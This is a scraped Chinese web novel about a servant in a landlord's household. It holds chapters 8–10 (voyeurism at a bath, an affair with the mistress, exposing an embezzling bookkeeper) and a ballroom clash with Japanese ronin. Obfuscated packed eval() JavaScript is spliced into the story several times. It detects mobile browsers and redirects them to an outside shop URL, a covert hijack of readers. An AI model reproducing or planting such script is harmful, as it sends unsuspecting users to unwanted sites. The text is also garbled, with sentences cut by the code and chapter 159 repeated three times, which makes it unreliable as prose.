《李二狗和地主家的女人们》 第8章 下手轻一点 李二狗趴在床上,脑海里浮现的竟然是二姨太扭胯的样子,他流着口水睡着了。 “快起来,大奶奶叫你。” 李二狗在睡梦中被一个声音叫醒,睁开眼看到是迎春。 “迎春,你喊我?” 李二狗忘记自己没穿裤子,起身的瞬间,两人几乎同时尖叫起来。 迎春是吓得! 李二狗是疼得! “臭流氓!” 李二狗双手捂着下身,被迎春一巴掌扇在脸上。 “我……” “你什么你?”迎春又要动手,早有防备的李二狗握住她扬起的手。 “臭流氓!” “我……” 李二狗不知所措,迎春则羞得满面红光。 “快把你裤子穿上。”迎春转过头不敢再看李二狗。 李二狗龇牙咧嘴地把裤子穿上。 “找我啥事?” “大奶奶要洗澡,你烧好热水送到东厢房。” 李二狗屁股上抹了药,此时已经好了大半。 每个四合院都有一个独立的厨房,平时主要用来烧水。 李二狗朝大锅里倒入两桶水,架上柴火烧了起来。 水很快便烧开了,他把热水提到东厢房,里面有一个很大的木桶,把热水倒入木桶后,又提了两桶凉水,把水温兑的刚刚好。 热气从木桶里不断地升腾,整个屋子仿佛仙境一般,想到于兰芝从木桶里沐浴的样子,李二狗内心一阵悸动。 “好了吗?”正当李二狗沉浸在想象中的时候,迎春出现在门口。 李二狗回过神来,急忙说道:“好了。” “那你出去吧。” 李二狗经过迎春身边的时候,故意把身体挺的笔直,害的迎春又一阵乱云飞渡。 他鬼使神差地没有回自己的房间,而是悄悄来到厨房。 厨房隔壁就是大奶奶即将沐浴的地方。 不一会儿,隔壁房间就传来身体入水的声音,李二狗屏气凝神,脑海里想象着里面的画面。 “迎春,你先出去吧,我自己泡一会。” “好的,大奶奶,有事您叫我。” 接着就是开门关门的声音。 厨房里一片漆黑,从一个墙角竟然有些许亮光传进来。 李二狗蹑手蹑脚地走过去,发现亮光处塞着一个石块。 他把石块拿出来,原来是有人在墙壁上凿了一个小洞。 李二狗把眼睛靠近,通过小洞可以清晰地看到于兰芝正闭着眼躺在木桶里,不时地把水淋到自己身上。 和李二狗想象的一样,于兰芝的肌肤十分白皙,就像鸡蛋白那样白。 她身体靠在木桶上,只露出半个胸脯,李二狗喉咙滚动,吞了一口口水,身体发生了急剧变化。 李二狗目不转睛地看着于兰芝,心里不停地念叨,站起来,站起来。 于兰芝闭着眼躺在木桶里,她的手在水里轻轻地摆动,脸上是一副享受的表情,偶尔从嘴里发出几声轻哼。 “二狗……” 于兰芝嘴里突然哼出二狗的名字,让李二狗差点跌坐在地上。 难道被她发现了? 李二狗吓得赶紧溜出厨房,回到自己房间。 他出了一身汗,汗水浸湿了屁股,传来一阵钻心的疼痛。 大奶奶发现自己偷看,会不会打断自己的狗腿,听说上一个大奶奶院里的伙计就是被人打断腿扔了出去。 李二狗害怕极了。 半晌之后,李二狗听到开门的声音。 他趴在门缝里看到迎春走进了东厢房。 李二狗胆子又大了起来,他蹑手蹑脚又回到厨房。 把眼睛趴在小洞上,看到迎春正给于兰芝搓背。 搓完后面搓前面,搓完前面,于兰芝从木桶里站了起来,身上的水珠在昏黄的灯光下清晰可见。 “大奶奶,您皮肤可真好。”迎春由衷地赞美道。 “老了,哪里比得上你们这些小姑娘。”于兰芝轻轻叹了口气。 “谁说大奶奶老了,您年轻着呢。”迎春继续拍马。 “你就别哄我了,老爷有多长时间没来了,我心里有数。” “都怪二姨太那个骚狐狸,把老爷的魂儿都勾走了,”迎春说完,突然想起了什么,“李二狗和二姨太的丫鬟抱夏关系好像不一般。” 李二狗恨得牙痒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16788773|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 痒,这个迎春怎么背后说人坏话,咒你以后嫁个二傻子,生孩子没腚眼。 于兰芝问道:“李二狗不会和张玲玉那个小**有瓜葛吧?” 屋内陷入短暂的沉默,李二狗倒是想和二姨太有瓜葛,人家也得看得上自己才行。 “待会你让李二狗到我屋里,我要单独审问他。” 迎春点了点头,没有再说话。 李二狗吓得赶紧把石头塞回洞里,回到自己房间。 不一会儿,就听到迎春在门外喊。 “李二狗,去把洗澡水倒了,然后去大奶奶屋,大奶奶有话问你。” “好,我马上去。” 李二狗出门时,迎春已经走远了。 李二狗来到东厢房,看着满地的水渍,上面仿佛还残留着于兰芝的体香,他忍不住猛吸两口。 倒完洗澡水,李二狗心情忐忑地来到于兰芝房门口。 “大奶奶。” “滚进来吧。” 李二狗推门而入,于兰芝身体斜靠在卧榻上,正在吃葡萄。 迎春把剥好的葡萄小心翼翼地喂到她嘴里。 吃了几颗葡萄,于兰芝摆了摆手。 “迎春,你先出去吧,我和二狗有话说。” 迎春不敢违拗,出门前瞪了李二狗一眼。 于兰芝用绣花手绢轻轻擦拭着嘴巴,并没有立即说话。 李二狗感觉到一股强大的压力。 于兰芝伸了伸腰,有意无意地说了一句:“年纪一大,我这老寒腰就容易犯病。” 李二狗心想,大奶奶无缘无故给我说这个干什么? 他联想到刚刚洗澡时,她喊了自己的名字,李二狗作为有一定阅历的男人,难免不胡思乱想。 “大奶奶,我跟我们村一个老中医学过穴位推拿,您要不要试一试?”李二狗说完,自己都觉得有些色胆包天。 别说他没学过穴位推拿,就是真学过,半夜三更在大奶奶的卧室也不适合干这个。 没想到,于兰芝却应允了。 “狗崽子,下手轻一点,我受不了这个。” 嘴上说受不了,却还让李二狗下手,女人的话确实得反着听。 第9章 兰芝,你放心…… 李二狗走到卧榻前,于兰芝身体依旧斜靠在卧榻上,乜斜着两眼盯着李二狗。 “大奶奶,您得趴着,这样我不好下手。” 于兰芝仿佛没有力气一般,把手伸给了李二狗。 李二狗见状,急忙拉住于兰芝的手,于兰芝这才转过身子趴在卧榻上。 他深吸一口气,双手刚碰触到于兰芝后背的时候,她的身体传来一阵战栗。 李二狗有一种似曾相识的感觉,春花当初也是这个反应,看来女人都喜欢战栗。 于兰芝刚洗完澡,身上穿着一件枣红色碎花小棉袄。 “大奶奶,屋里炭火烧的挺旺,要不您把棉袄脱了吧?衣服太厚我不好使劲。” “狗崽子,事还不少。” 于兰芝嘴上这样说,却爬起来把棉袄脱了,里面只穿了一件红色丝绸睡衣。 李二狗虽然没学过穴位按摩,但他习武的时候,师父教过辨识穴位。 所谓的穴位推拿,其实就是对准穴位用力,并不是什么高深的学问。 李二狗在于兰芝的肩井穴、肩髎穴、天髎穴等几个穴位上一通操作,于兰芝舒服的嘴里不停地哼哼。 “舒服……二狗……” 这时,李二狗看到窗外有个人影,看身形是迎春在偷听。 李二狗故意加大手上的力度,于兰芝哼哼的更欢了。 “二狗,轻一点……,你这个狗崽子,手上的功夫太厉害了……” 半个小时后,李二狗已满身大汗,于兰芝则舒服地瘫在卧榻上。 本来打算教训教训李二狗,此时早已被于兰芝忘到了九霄云外。 “大奶奶,您身上刚出完汗,小心着凉。”李二狗体贴地给于兰芝盖上毯子。 “二狗,明晚你再来。” “大奶奶,您好好休息,我先回去了。” 李二狗看到窗外的身影立马消失了。 他回到房间,躺在床上怎么也睡不着。 于兰芝年龄虽然大一点,但保养的却很好,肌肤不仅白皙,还富有弹性,手感相当滑腻。 不过比起于兰芝,李二狗更喜欢二姨太张玲玉,尤其她走路扭胯的样子,实在是勾人魂魄。 李二狗躺在床上翻来覆去睡不着,耳朵边总想起于兰芝喊二狗的声音。 一不做二不休,李二狗狗胆包天,起床穿上衣服,趁着月黑风高,来到于兰芝卧室门口。 李二狗轻轻敲了敲房门,里面立刻传来于兰芝的声音。 “谁?” “大奶奶,我是二狗,您腰还疼吗?我想再给您推拿推拿。” 于兰芝仿佛知道李二狗还会回来一般。 “门没锁,滚进来吧。” 李二狗推门而入,他在门口思考了一秒钟,反手拴上了门。 “大奶奶……” “二狗……” “兰芝……” “你……狗崽子……” 一个时辰后,于兰芝躺在李二狗怀里。 “二狗,我今天才知道当女人原来是这种感觉。” “兰芝,今天我屁股有点碍事没发挥好,下次我一定会发挥的更好。” “二狗,咱俩的事你要是敢说出去,我一定阉了你。” “兰芝,你放心……” “不许叫我兰芝,你出去吧!” 都说女人翻脸比翻书还快,果然如此。 李二狗穿好衣服,开门走了出去。 他知道,这种事情只要有了第一次,就会有第二次第三次,于兰芝肯定离不开自己。 李二狗回去睡了个好觉。 第二天一早,李二狗拖着受伤的屁股开始打扫院子。 于兰芝出门吃早饭的时候,李二狗热情地和她打招呼,可她根本没有搭理。 倒是迎春,结结实实给了他一个大白眼。 李二狗打扫完院子便赶去食堂吃早饭。 照例是一碗稀饭,窝头管够。 李二狗吃完饭又等了一会,始终没见抱夏过来,只能悻悻而归。 刚回到四合院,正准备去挑水,于兰芝站在廊檐下向他招手。 “大奶奶。”李二狗屁颠屁颠地跑了过去。 “跟我进来。” 进到屋内,于兰芝从怀里掏出一个鸡蛋。 “二狗,快吃了补一补,别让别人看见。” 李二狗接过带着于兰芝体温的鸡蛋,眼泪在眼眶里打转。 他一直搞不明白,为什么事后女人总喜欢给男人鸡蛋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16788774|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃。 “谢谢大奶奶。” “狗崽子,我也不全是为了你,快吃了吧。” 李二狗三二下剥了皮,一口塞进嘴里,刚嚼了两口,迎春不知道什么时候出现在门口。 “大奶奶。” 李二狗想把嘴里的鸡蛋全咽下去,结果卡在喉咙里,脸憋的通红,差点噎死,半天才缓过劲了。 迎春照例瞪了李二狗一眼,不知道他又在搞什么鬼。 “大奶奶,今天是去磨坊查账的日子,我给账房李先生说好了,我们九点钟过去。” “迎春,你别去了,让二狗陪我去,有几件事我正好和他交待交待。” 气的迎春一个劲地拿眼睛剜他。 作为于兰芝的贴身丫鬟,迎春是这个四合院的半个主子,即使放眼整个胡家大院,她也是坐稳了奴才身份的人。 可李二狗一来,她的地位便变得有些岌岌可危。 李二狗倒显得很淡定,自己付出了精血,得到一点于兰芝的偏爱,理所应当。 跟着于兰芝刚出门,迎面正遇到二姨太张玲玉。 张玲玉的四合院在胡家大院最西侧,每次去前院都要经过于兰芝的四合院门口。 “吆,大姐,身边换人了呀?还是精壮小伙子服侍的周到不是,嘻嘻。” 张玲玉是戏子出身,凭借着一副好嗓子,把胡士高迷得五荤六素,十天倒有七天侍寝,深受其他姨太太的嫉恨。 “妹妹知道的不少啊,看来以前没少被男人伺候吧?看我这记性,我倒忘了,妹妹进府之前是戏子出身,经历过的男人肯定比我见过的还多,呵呵。” “你……”张玲玉被气的说不出话来,“我们走。” 李二狗看到张玲玉被气的胸脯一抖一抖的,眼睛嘀溜溜看个不停。 “也不怕闪了你的钛合金狗眼,有什么好看的?不就大点吗?”于兰芝骂道。 李二狗嘿嘿一笑,说道:“大奶奶,大而无当,我还是喜欢像您这么精致的。” “呸!不要脸的狗崽子,小心我煽了你。” 李二狗故意吓得双手捂住裤衩,逗得于兰芝笑个不停,可惜她笑起来,并没有二姨太的波澜起伏。 第10章 二狗,快吃了补补 张玲玉越想越气。 “抱夏,那个叫什么李二狗的会不会把那天晚上的事告诉那个**?” 抱夏对李二狗印象不错。 “二奶奶,我觉得不会,他是见义勇为。” “刚才你不觉得他和那个**的关系不一般吗?如果他把那天晚上的事告诉那个**,老爷一定会把我赶出胡家大院。” 张玲玉眼神里闪过一丝狠绝。 于兰芝带着李二狗来到磨坊。 磨坊账房李先生在门口笑脸相迎,一脸的肥肉竟笑出了褶皱。 “大奶奶,这是上个月的账目,请您过目。” 于兰芝有意考验一下李二狗,便说道:“二狗,你去看看账目。” 李先生眼中竟有一丝慌乱。 李二狗接过账本,认真地看了起来。 看了一会,李二狗说道:“大奶奶,账本我能拿回去看吗?” 于兰芝还未说话,李先生抢先说道:“大奶奶,账本是磨坊的命根子,万一丢失了,我可担不起这个责任啊。” 于兰芝早就对李先生有所怀疑,只是没有抓住他的把柄,李二狗提出把账本带回去看,肯定是发现了什么问题。 “李先生,你放心,明天我就让李二狗把账本送回来。” 李先生还要说什么,于兰芝已经站了起来,李二狗紧跟着走了出去。 “二狗,你觉得账本有问题?”于兰芝不动声色地问道。 “大奶奶,上个月的账目没有发现问题,我想拿回去把过去的账目都翻着看一看,也好有个比较。” 于兰芝若有所思地点了点头。 “没想到你还会看账目,不简单呐李二狗。” “嘿嘿,谢谢大奶奶夸奖,小时候教我功夫的师父家里有个磨坊,练武之余我经常帮点忙,略懂一点皮**。” 回到院子,李二狗就进屋专心看账本。 不看不知道,一看吓一跳,账房李先生这些年确实黑了不少钱。 李二狗拿着账本向于兰芝汇报。 “大奶奶,从账面上看,李先生仅这两年就黑了大约三百块大洋。” 于兰芝早就怀疑李先生中饱私囊,但没想到他会**这么多钱。 “二狗,这话不能乱说,得有真凭实据。” 李二狗显得信心十足。 “大奶奶,正常来说,磨制1斤面粉需要1.25斤小麦,可我算了算去年一月份到现在的账目,卖出的面粉数量和购买的小麦数量,磨制1斤面粉却需要消耗1.35斤小麦,看着相差不大,累加起来,数量可就相当惊人。” 于兰芝以前对账,只会看卖出多少面粉,一共收了多少钱,没想到李先生却在原材料小麦上做手脚。 “好你个李先生,竟敢欺骗老娘,看我怎么收拾你。”说完她看向李二狗,“二狗,你做的很好,大奶奶我今天要好好感谢感谢你。” “大奶奶,我……” 于兰芝一个眼神,李二狗只能乖乖跟着于兰芝进了卧室。 老话说三十如狼,四十如虎,于兰芝正是如狼似虎的年纪,干涸了这么多年,何况又是遇到李二狗这样身强体壮的男子,一时间无法自拔,那还顾得了白天黑夜。 于兰芝命迎春把李先生叫到院子里,李先生从于兰芝的脸色预感到不妙,但他依然故作镇静。 “大奶奶,您找我有什么吩咐?” 于兰芝把账本扔到他面前。 “李先生,你没有什么要说的吗?” 李先生瞅了一眼地上的账本,仍然心存侥幸地问道:“大奶奶,您这是什么意思?” “什么意思?你现在若是主动交代,看在这么多年的情分上,我还可以对你网开一面,如果还想继续隐瞒,李二狗,立马把他送去见官。” 李先生吓得登时跪在地上,磕头如捣蒜。 “大奶奶,我冤枉啊,我对您可一直是忠心耿耿。” 于兰芝冷笑一声。 “你冤枉?再不从实招来,我马上送你去见官。” “大奶奶,我在磨坊勤勤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16788775|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恳恳干了二十年,我没有贪过一分钱,请您相信我啊,大奶奶。” 李先生不停地在地上磕头。 虽然已经吓破了胆,嘴却依然很硬。 “二狗,送他去见官,到时候看他嘴还硬不硬。” 李二狗上前说道:“李先生,你这又是何苦呢?大奶奶多么心善一个人,只要你老实交代,大奶奶不会不念旧情的。” 李先生还在犹豫。 “二狗,别和他废话,赶快送去见官。” 李二狗闻到一股腥臊味,低头一看,李先生裤裆正在滴水。 “大奶奶,饶我这一次吧,我知道错了。” 李先生额头都磕破了。 “二狗,赶紧把他拉出去,熏**。”于兰芝一脸鄙夷地看着地上的一滩水,手不停地在鼻下挥动着。 李二狗把李先生拖了出去,他嘴里还不停地求饶。 李先生终被赶出了胡家大院,这完全是因为于兰芝这几天心情愉悦,不然肯定得打断腿送官。 晚上,大家都睡了之后,李二狗按照约定偷偷来到于兰芝卧室。 两人免不了又是一番深入的交流。 事后,于兰芝变戏法般从被窝摸出一个鸡蛋。 “二狗,快吃了补补。” 李二狗照例三二下剥了皮,一口塞进嘴巴里。 “二狗,磨坊得重新找个账房。” 李二狗第一时间想到陈老三,但他没有立刻说出来。 “大奶奶……” “和你说过多少次了,只有咱们两个人的时候不要叫我大奶奶。” “小宝贝……”李二狗犹豫了一下,还是选择了服从。 处在人生爬坡的关键阶段,有时候人不得不做些违心的事,说些违心的话。 “我觉得还是从磨坊里面选一个忠诚老实的人比较合适,从外边找的人终归不放心。” “我也是这样想的,明天你去磨坊了解一下,尽快选出一个人来。” “好的,大奶……小宝贝。” …… 第159章 李二狗暴露 静雯拦在日本浪人身前没有退缩,脸上依旧挂着职业的笑容。 “先生,她喝醉了,让她先回去清醒一下。她是新来的,您不要和她一般见识,来,我敬您一杯。” 静雯端起桌上的两杯酒,把其中一杯端给日本浪人。 日本浪人接过酒杯,脸上露出一副淫邪的笑容,她盯着静雯精致的脸庞,突然一扬手,把整杯酒都泼在静雯脸上。 日本浪人和周围的几个日本人肆意地狂笑。 “哈哈,这酒的味道怎么样?要不要再来一杯?” 辛辣的烈酒刺激的静雯眼泪流了下来,她剧烈地咳嗽起来。 日本浪人并不打算就此罢手,他伸出肮脏的手就要去薅静雯的头发。 静雯吓傻了。 舞厅的几个保镖畏惧日本人的**,面面相觑却不敢上前阻止。 “拿开你的脏手!” “哎吆!” 李二狗突然出现在静雯身后,铁钳一般的大手紧紧捏住日本浪人的手腕,痛得他哭爹喊娘。 “八嘎!” 旁边两个日本人见状,纷纷围了上来! “你们再敢上前,我立马捏碎他的手腕。” 李二狗手上一发力,日本浪人顿时痛得弯下腰匍匐在桌子上。 “八嘎!**猪!你们好大的胆子,知道我们是什么人吗?我们是大日本帝国的武士,你们竟敢对我们无理,我们要向你们政府**!” “我不知道什么大日本还是小日本,我只知道这里是中国,谁在这里**我就干他!” “你!快快放开他!” “让我放开他很容易,让他现在给这位女士道歉!” “八嘎!我们大日本帝国的武士怎么可能向你们中国人道歉!” “啊……” 李二狗手上加大了力度,日本浪人痛得鬼哭狼嚎,丝毫顾不上所谓大日本帝国武士的颜面。 “不道歉可以,我不着急,我可以慢慢等,就怕他等不了。” “啊……” “我道歉,我道歉……你快快松开!” 日本浪人吃不住痛,嘴上开始服软。 李二狗根本不相信放开他,他会道歉。 “你道完歉我再松开,快点!” “啊……,对不起!” “你知道错了吗?” 日本浪人稍一迟疑,李二狗再次加大了手上的力度。 “啊……,我知道错了,知道错了……” “以后还敢来百乐门**吗?” “我……不敢了!” 李二狗故意大声说道:“大点声,我没听见!” “啊……,不敢了!” “如果再**怎么办?”李二狗手上的力道不减。 “如果再**,我就是猪……” 人群中爆发出一阵哄笑声和讥笑声。 李二狗这才放开日本浪人的手腕,他起身怒视着李二狗,那一瞬间,他感觉这个眼神在哪里见过。 “八嘎!” 日本浪人转身去找自己的**。 他猛地抽出**,在五彩斑斓的灯光下发出刺眼的光芒。 当他还没喊出“八嘎”时,一支枪已经顶在他的脑门上。 “你要当着这么多人的面当猪吗?信不信我一枪打爆你的猪头!” 日本浪人盯着李二狗的眼睛,这双锐利的眼睛是那么的熟悉,他突然想到了那个蒙面人! “你是那个……” 他突然住了嘴,李二狗预感到自己可能已经暴露。 旁边的一个日本人说道:“你放开他,让我们离开这里!” 舞厅内挤满了人,李二狗只能把日本浪人放开。 “快滚!下次再敢**,决不轻饶!” 两个日本人上前扶起日本浪人,一群人狼狈而逃。 走到舞厅门口,日本浪人突然停下脚步,回头怒视着李二狗,那眼神仿佛在说你给我等着。 “二狗,这几个日本人肯定不会善罢甘休的。” “几个倭人而已,难道还能反了天不成?不要怕。” 李二狗并不打算把日本浪人认出自己的事情告诉静雯,他不想让她为自己担心。 “静雯,你装晕。”李二狗低声说道。 静雯不明白他的意思,但还是晕倒在地。 “静雯,静雯,你怎么了?”李二狗大声喊道,舞厅的人纷纷围了上来。 李二狗抱起静雯,快步上了二楼。 “你们在楼梯口守着,任何人不许上来打扰,静雯经理需要休息。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你知道吗?那个人很像那天袭击我和山木君的一个人,他当时蒙着面,但我能认出他的眼睛。” “你没有看错?” “绝对没有,他的眼睛,只要你看一眼就很难再忘记!” “那我们可以让中国政府抓捕他,何必我们自己亲自动手。” “是啊,中国**的很,今天上午他们刚刚**了那个凶手,这个凶手也一定不能放过!” 李二狗悄悄拔出了腰间的**…… 第159章 李二狗暴露 静雯拦在日本浪人身前没有退缩,脸上依旧挂着职业的笑容。 “先生,她喝醉了,让她先回去清醒一下。她是新来的,您不要和她一般见识,来,我敬您一杯。” 静雯端起桌上的两杯酒,把其中一杯端给日本浪人。 日本浪人接过酒杯,脸上露出一副淫邪的笑容,她盯着静雯精致的脸庞,突然一扬手,把整杯酒都泼在静雯脸上。 日本浪人和周围的几个日本人肆意地狂笑。 “哈哈,这酒的味道怎么样?要不要再来一杯?” 辛辣的烈酒刺激的静雯眼泪流了下来,她剧烈地咳嗽起来。 日本浪人并不打算就此罢手,他伸出肮脏的手就要去薅静雯的头发。 静雯吓傻了。 舞厅的几个保镖畏惧日本人的**,面面相觑却不敢上前阻止。 “拿开你的脏手!” “哎吆!” 李二狗突然出现在静雯身后,铁钳一般的大手紧紧捏住日本浪人的手腕,痛得他哭爹喊娘。 “八嘎!” 旁边两个日本人见状,纷纷围了上来! “你们再敢上前,我立马捏碎他的手腕。” 李二狗手上一发力,日本浪人顿时痛得弯下腰匍匐在桌子上。 “八嘎!**猪!你们好大的胆子,知道我们是什么人吗?我们是大日本帝国的武士,你们竟敢对我们无理,我们要向你们政府**!” “我不知道什么大日本还是小日本,我只知道这里是中国,谁在这里**我就干他!” “你!快快放开他!” “让我放开他很容易,让他现在给这位女士道歉!” “八嘎!我们大日本帝国的武士怎么可能向你们中国人道歉!” “啊……” 李二狗手上加大了力度,日本浪人痛得鬼哭狼嚎,丝毫顾不上所谓大日本帝国武士的颜面。 “不道歉可以,我不着急,我可以慢慢等,就怕他等不了。” “啊……” “我道歉,我道歉……你快快松开!” 日本浪人吃不住痛,嘴上开始服软。 李二狗根本不相信放开他,他会道歉。 “你道完歉我再松开,快点!” “啊……,对不起!” “你知道错了吗?” 日本浪人稍一迟疑,李二狗再次加大了手上的力度。 “啊……,我知道错了,知道错了……” “以后还敢来百乐门**吗?” “我……不敢了!” 李二狗故意大声说道:“大点声,我没听见!” “啊……,不敢了!” “如果再**怎么办?”李二狗手上的力道不减。 “如果再**,我就是猪……” 人群中爆发出一阵哄笑声和讥笑声。 李二狗这才放开日本浪人的手腕,他起身怒视着李二狗,那一瞬间,他感觉这个眼神在哪里见过。 “八嘎!” 日本浪人转身去找自己的**。 他猛地抽出**,在五彩斑斓的灯光下发出刺眼的光芒。 当他还没喊出“八嘎”时,一支枪已经顶在他的脑门上。 “你要当着这么多人的面当猪吗?信不信我一枪打爆你的猪头!” 日本浪人盯着李二狗的眼睛,这双锐利的眼睛是那么的熟悉,他突然想到了那个蒙面人! “你是那个……” 他突然住了嘴,李二狗预感到自己可能已经暴露。 旁边的一个日本人说道:“你放开他,让我们离开这里!” 舞厅内挤满了人,李二狗只能把日本浪人放开。 “快滚!下次再敢**,决不轻饶!” 两个日本人上前扶起日本浪人,一群人狼狈而逃。 走到舞厅门口,日本浪人突然停下脚步,回头怒视着李二狗,那眼神仿佛在说你给我等着。 “二狗,这几个日本人肯定不会善罢甘休的。” “几个倭人而已,难道还能反了天不成?不要怕。” 李二狗并不打算把日本浪人认出自己的事情告诉静雯,他不想让她为自己担心。 “静雯,你装晕。”李二狗低声说道。 静雯不明白他的意思,但还是晕倒在地。 “静雯,静雯,你怎么了?”李二狗大声喊道,舞厅的人纷纷围了上来。 李二狗抱起静雯,快步上了二楼。 “你们在楼梯口守着,任何人不许上来打扰,静雯经理需要休息。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第159章 李二狗暴露 静雯拦在日本浪人身前没有退缩,脸上依旧挂着职业的笑容。 “先生,她喝醉了,让她先回去清醒一下。她是新来的,您不要和她一般见识,来,我敬您一杯。” 静雯端起桌上的两杯酒,把其中一杯端给日本浪人。 日本浪人接过酒杯,脸上露出一副淫邪的笑容,她盯着静雯精致的脸庞,突然一扬手,把整杯酒都泼在静雯脸上。 日本浪人和周围的几个日本人肆意地狂笑。 “哈哈,这酒的味道怎么样?要不要再来一杯?” 辛辣的烈酒刺激的静雯眼泪流了下来,她剧烈地咳嗽起来。 日本浪人并不打算就此罢手,他伸出肮脏的手就要去薅静雯的头发。 静雯吓傻了。 舞厅的几个保镖畏惧日本人的**,面面相觑却不敢上前阻止。 “拿开你的脏手!” “哎吆!” 李二狗突然出现在静雯身后,铁钳一般的大手紧紧捏住日本浪人的手腕,痛得他哭爹喊娘。 “八嘎!” 旁边两个日本人见状,纷纷围了上来! “你们再敢上前,我立马捏碎他的手腕。” 李二狗手上一发力,日本浪人顿时痛得弯下腰匍匐在桌子上。 “八嘎!**猪!你们好大的胆子,知道我们是什么人吗?我们是大日本帝国的武士,你们竟敢对我们无理,我们要向你们政府**!” “我不知道什么大日本还是小日本,我只知道这里是中国,谁在这里**我就干他!” “你!快快放开他!” “让我放开他很容易,让他现在给这位女士道歉!” “八嘎!我们大日本帝国的武士怎么可能向你们中国人道歉!” “啊……” 李二狗手上加大了力度,日本浪人痛得鬼哭狼嚎,丝毫顾不上所谓大日本帝国武士的颜面。 “不道歉可以,我不着急,我可以慢慢等,就怕他等不了。” “啊……” “我道歉,我道歉……你快快松开!” 日本浪人吃不住痛,嘴上开始服软。 李二狗根本不相信放开他,他会道歉。 “你道完歉我再松开,快点!” “啊……,对不起!” “你知道错了吗?” 日本浪人稍一迟疑,李二狗再次加大了手上的力度。 “啊……,我知道错了,知道错了……” “以后还敢来百乐门**吗?” “我……不敢了!” 李二狗故意大声说道:“大点声,我没听见!” “啊……,不敢了!” “如果再**怎么办?”李二狗手上的力道不减。 “如果再**,我就是猪……” 人群中爆发出一阵哄笑声和讥笑声。 李二狗这才放开日本浪人的手腕,他起身怒视着李二狗,那一瞬间,他感觉这个眼神在哪里见过。 “八嘎!” 日本浪人转身去找自己的**。 他猛地抽出**,在五彩斑斓的灯光下发出刺眼的光芒。 当他还没喊出“八嘎”时,一支枪已经顶在他的脑门上。 “你要当着这么多人的面当猪吗?信不信我一枪打爆你的猪头!” 日本浪人盯着李二狗的眼睛,这双锐利的眼睛是那么的熟悉,他突然想到了那个蒙面人! “你是那个……” 他突然住了嘴,李二狗预感到自己可能已经暴露。 旁边的一个日本人说道:“你放开他,让我们离开这里!” 舞厅内挤满了人,李二狗只能把日本浪人放开。 “快滚!下次再敢**,决不轻饶!” 两个日本人上前扶起日本浪人,一群人狼狈而逃。 走到舞厅门口,日本浪人突然停下脚步,回头怒视着李二狗,那眼神仿佛在说你给我等着。 “二狗,这几个日本人肯定不会善罢甘休的。” “几个倭人而已,难道还能反了天不成?不要怕。” 李二狗并不打算把日本浪人认出自己的事情告诉静雯,他不想让她为自己担心。 “静雯,你装晕。”李二狗低声说道。 静雯不明白他的意思,但还是晕倒在地。 “静雯,静雯,你怎么了?”李二狗大声喊道,舞厅的人纷纷围了上来。 李二狗抱起静雯,快步上了二楼。 “你们在楼梯口守着,任何人不许上来打扰,静雯经理需要休息。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他猛地抽出**,在五彩斑斓的灯光下发出刺眼的光芒。 当他还没喊出“八嘎”时,一支枪已经顶在他的脑门上。 “你要当着这么多人的面当猪吗?信不信我一枪打爆你的猪头!” 日本浪人盯着李二狗的眼睛,这双锐利的眼睛是那么的熟悉,他突然想到了那个蒙面人! “你是那个……” 他突然住了嘴,李二狗预感到自己可能已经暴露。 旁边的一个日本人说道:“你放开他,让我们离开这里!” 舞厅内挤满了人,李二狗只能把日本浪人放开。 “快滚!下次再敢**,决不轻饶!” 两个日本人上前扶起日本浪人,一群人狼狈而逃。 走到舞厅门口,日本浪人突然停下脚步,回头怒视着李二狗,那眼神仿佛在说你给我等着。 “二狗,这几个日本人肯定不会善罢甘休的。” “几个倭人而已,难道还能反了天不成?不要怕。” 